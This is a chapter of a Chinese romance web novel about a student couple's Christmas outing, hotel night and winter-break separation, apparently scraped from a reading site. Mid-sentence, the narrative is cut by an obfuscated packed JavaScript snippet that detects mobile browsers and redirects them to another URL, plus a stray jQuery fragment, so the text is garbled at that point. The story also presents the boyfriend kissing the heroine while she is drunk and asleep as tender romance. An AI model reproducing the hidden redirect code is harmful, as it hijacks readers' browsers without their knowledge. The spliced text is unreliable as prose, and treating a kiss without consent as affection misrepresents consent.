27. 第二十七个梦

作品:《恋爱悖论

    那天是圣诞节。


    盛时接桑兮渺去吃饭。


    他朋友听说他谈女朋友了,闹着要见一面。


    他向她征询意见,她兀自纠结了许久,应了好。


    这场饭局是盛时做东,他们圈子里似乎有个不成文规定,谁恋爱了,就要攒局请客,无论男女。


    人不算多,统共七八个,其中也有情侣。


    桑兮渺颇为拘谨地端坐在盛时的身边,听他们一一自我介绍着。


    本名,昵称,有的还带上了星座和MBTI。


    她双眼渐渐露出迷茫之色,没一会儿,就对不上号了。


    盛时话不密,但他们不会让场子冷下来,便主动抛话题给他,以及她。


    桑兮渺对他们聊的那些都不太了解,什么债券,基金,或者世界杯,球队。


    要么有些许了解,但贸然插进去,既突兀又尴尬。


    万能不变的应对之词就是——对、这样啊、好厉害、哈哈。


    饭后,他们续摊去了酒吧,桑兮渺反倒自在些了。


    黑暗、喧闹的环境,既适合狂欢,也适合隐匿自己。


    桑兮渺坐在卡座边缘,盛时胳膊撑在她身后,将她半圈在自己划定的范围里,有一搭没一搭地和她说话。


    她离座去洗手间,走到一半发觉忘了带卫生巾,折返回去,不期然地听见他们在议论自己。


    “哎,盛时,你怎么会喜欢这样的女生?”


    他语调漫不经心:“怎样的?”


    “你不是一贯不喜欢循规蹈矩吗,她一看就是老师会喜欢的,老实、懂事的好学生。”


    有人补充:“无趣,乏味。”


    “总之是和你很不搭的类型。”


    室内明明开着暖气,桑兮渺的手却一下子变得冰凉,脚似黏在地面,动弹不得。


    又一次碰到这种情况,她宁愿自己的听力不那么好。


    怕从一众不赞成的声音中,认出盛时的。


    怕像当年一样,她认为的真心,实则如泡沫一般容易破灭。


    “有没有可能——”


    那么极具辨识度的声线,只能是他的。


    她全身血液仿佛瞬息间凝固了,整个世界只剩他的声音,好似过了几重滤,以至于格外不真实。


    “她只是和你们合不来?”


    所有声音都回来了,震耳欲聋的重金属乐,周遭的说笑,清脆的酒杯碰撞声……无比喧嚷。


    他语气浅淡:“我觉得我和她搭不就得了。”


    桑兮渺与他认识的时间不长,自然不知道盛时这人多护短,甚至堪比狼崽子护食。


    他们却最清楚不过。听他这么说,当即不作声了。


    身后不是空无一人的感觉,的确很好,很好。


    好到像酒一样令人上头,晕眩。


    桑兮渺借视觉盲区隐去自己身影,平复了下心情,才现身去拿包。


    桌上多了许多花花绿绿的酒和纸牌。


    之前的话题没人再提。


    盛时是他们当中,平时最少发脾气,也是发起脾气来最叫人发憷的,谁还敢再说他女朋友的不是啊。


    游戏玩了几轮,氛围愈发沸腾,两人所在的一隅却分外安静。


    桑兮渺问他:“你不和他们一起玩吗?”


    盛时说:“不玩,陪你。”


    她狐疑地看他,“总感觉你谈过很多次恋爱。”


    他安之若素:“就不能是因为我有恋爱天赋吗?”


    好吧,也许有人天生很会爱人。


    但那时的桑兮渺还未意识到,自己是另一个极端。


    被男朋友这样哄,终归是高兴的,她看着面前那堆酒,探身去拿。


    起初盛时没阻止,见她喝得多了,从背后揽住她,下巴抵着她的肩,“还喝?不怕醉了?”


    桑兮渺摇头,“不怕,有你在。”


    他笑:“你是不是太容易相信别人了?”


    吓唬她说:“小心我把你拐骗到缅甸园区卖器官。”


    “没有的,”她神情真挚,“我只是相信你。”


    盛时愣了下。


    他们才认识几个月,虽已交往,可实际并不知根知底,何以得她如此信任?


    桑兮渺靠着他,和他说自己的想法:“因为你很干净。”


    “干净?”


    她伸手触他的眼皮,“眼神,”滑下来,落在他肩头,“打扮。”


    停了停,最后说:“还有磁场。”


    世间之人,大多可相其皮,而难窥其心。


    她未必是看穿了他,但就是有人与人之间的,科学无法解释的眼缘。


    “是吗?”他抓住她的手,指腹与她掌背的皮肤摩挲着,“那我们,果然还挺有缘分的。”


    眼神勾缠着,像熬浓的糖浆拉出的丝。


    呼吸交融,欲亲不亲的。


    “昨天听大黑说,你谈个恋爱腻歪得要命,我还不信。”


    “一整个晚上,眼睛就没从女朋友身上离开过,忘本啊忘本,之前是谁说,恋爱狗都不谈的?”


    感觉她目光灼灼地看着自己,盛时捂住她的耳朵,低声说:“别听他们胡说八道。”


    桑兮渺“咯咯”地乐起来。


    没过多久,他带她提前先走了。


    桑兮渺喝得没上次多,能正常走路。


    现在为了促销,所有节日都成了商家的噱头。


    圣诞节也不例外。


    沿街店铺到处都是花花绿绿的。


    桑兮渺牵着他的手,突如其来的倾诉欲,让她说了一件小时候的事。


    为了一个母亲不愿意买给她的小蛋糕,帮同学代写作业赚钱,结果被母亲诬陷是盗窃。


    她说着说着,还笑得出来:“看来我从小就很有挣钱意识呢。”


    盛时把她搂紧了,低声说:“我女朋友真厉害。”


    -


    后来由于时间太晚,早过了宿舍门禁,他带她去酒店开了一间房。


    她稀里糊涂地跟着上楼。


    到了房间门口,她突然惊醒似的,一把环抱住胸口,警惕地盯着他:“我不是那么随便的女孩子。”


    盛时失笑:“我也不是那么随便的男孩子。”


    说着,插上了房卡。


    灯亮起,桑兮渺看见里面是两张床,这才跟他进去。


    “我先去洗澡。”


    他反感身上带着乱七八糟的味道。


    进浴室前,拧开一瓶矿泉水让她喝,出来时,水位下降了不到半指,人趴在床上,睡得正熟。


    盛时无奈地扯了扯唇,脱去她的外套、鞋袜。


    她被他翻了个身,灯光下,唇上泛着柔润的水光。


    他心旌一漾,低下头去吻她。


    桑兮渺无意识地嘤咛了声,齿关微启,似迎接的姿态。


    就是她这一声,导致盛时不得不又去浴室冲了个超过十分钟的澡。


    始作俑者一无所觉。


    桑兮渺第二天早上醒了半分钟的神,才将昨晚的事全部回想起来。


    低头看了看自己身上的衣服,脸无由得一臊。


    小碎花的秋裤是不是太煞风景了……


    “渺渺,你哪里有不舒服吗?”


    她扭头,望向声


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15376027|168341||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    源,余光忽地注意到床头柜上的小蛋糕。


    准确地说,是一盘不同种类的甜品,包括提拉米苏,千层,慕斯,等等。


    惊诧得,一下子忘了想说什么。


    盛时走过来,在床沿坐下,说:“小时候得不到的东西,现在再拥有,可能已经没有当初的心境了。但我想告诉你的是,你想要什么,我都可以买给你。”


    桑兮渺抬眼,张了张口,像失了声。


    无论怎么回答,都无法表达她心中涌动的感情的万分之一。


    她一把抱住他,将脸埋在他肩上,湿润的水意漫开,淹没她的眼睛。


    他想拍抚她的背,轻也不是,重也不是,改成了回拥。


    那个早上,是他们感情的一个节点。


    自那之后,两人更是如胶似漆。


    十二月底结束开题答辩,学校里就没什么事了,他们陆陆续续离校。


    陈敏容也打电话来,问桑兮渺什么时候回家。


    她扯了个谎,说要帮老师整理资料。


    她考的是本校的研究生,提前和导师打好关系情有可原。


    陈敏容没有深究。


    实际上,桑兮渺每天都和盛时待在一起。


    他们去迪士尼跨年,去山顶看了日出,去海边小镇赶海,还花了三天,把《进击的巨人》从头到尾又看了一遍。


    只是,仍没看到利威尔的结局。


    盛时说:“等播完了,我们再看一遍吧。”


    桑兮渺应好。


    她沉浸在爱情的甜蜜中,如同一只落进蜂蜜罐子的蚂蚁,爬不出来,也不想爬出来。


    但终有分别的时候。


    全校都放假了,桑兮渺没有借口再拖延。


    盛时说要送她回家,她拒绝了:“附近有很多人认识我,我还没准备好跟我爸妈说。”


    他说:“就送一段路,好不好?”


    桑兮渺正犹豫,他垂着眼皮,低低地“嗯?”了声,像在撒娇。


    她本来就舍不得,耳根子一酥,更无法说不好。


    盛时一直送到离她家只有一个街口的地方。


    他打开后备箱,将她的行李箱拎下来。她刚接过拉杆,整个人连同行李箱一道被他拽过去。


    桑兮渺靠着他的胸口,听见他说:“过年那几天我可能没有空,但我会每天每天给你打视频,监督你有没有想我。”


    “会想的。”


    “什么?我没听清。”


    “我会想你的。”


    她说。


    很想很想。


    特别特别想。


    刚回家的第一个晚上,桑兮渺就尝到了思念的苦。


    凌晨三点,她从床上爬起来,拧开一小盏台灯,用水粉画了一片桑叶。


    她作为画师,有自己的水印logo。


    但男朋友是男朋友,和那些纸片人不一样。


    桑是她的姓,是现实世界的她,是真真实实爱着盛时的她。


    她拍下来,发给他。


    理智告诉她,这个时间点他不会回的,但不知为何,还是等了会儿。


    再一刷新,他头像换成了那片桑叶。


    桑兮渺:你没睡?


    盛时:我也在想你。


    牛头不对马嘴的一段对话,却让桑兮渺笑得像个傻子。


    她扑在枕头上,脸憋得涨红一片,才给他回了句:我要睡了,晚安。


    盛时:晚安。


    那段日子,他们道过的每一个“晚安”,都像藏进了“我爱你”。


    以至于后来的无数个手机不再震动的夜晚,那么地难以入眠。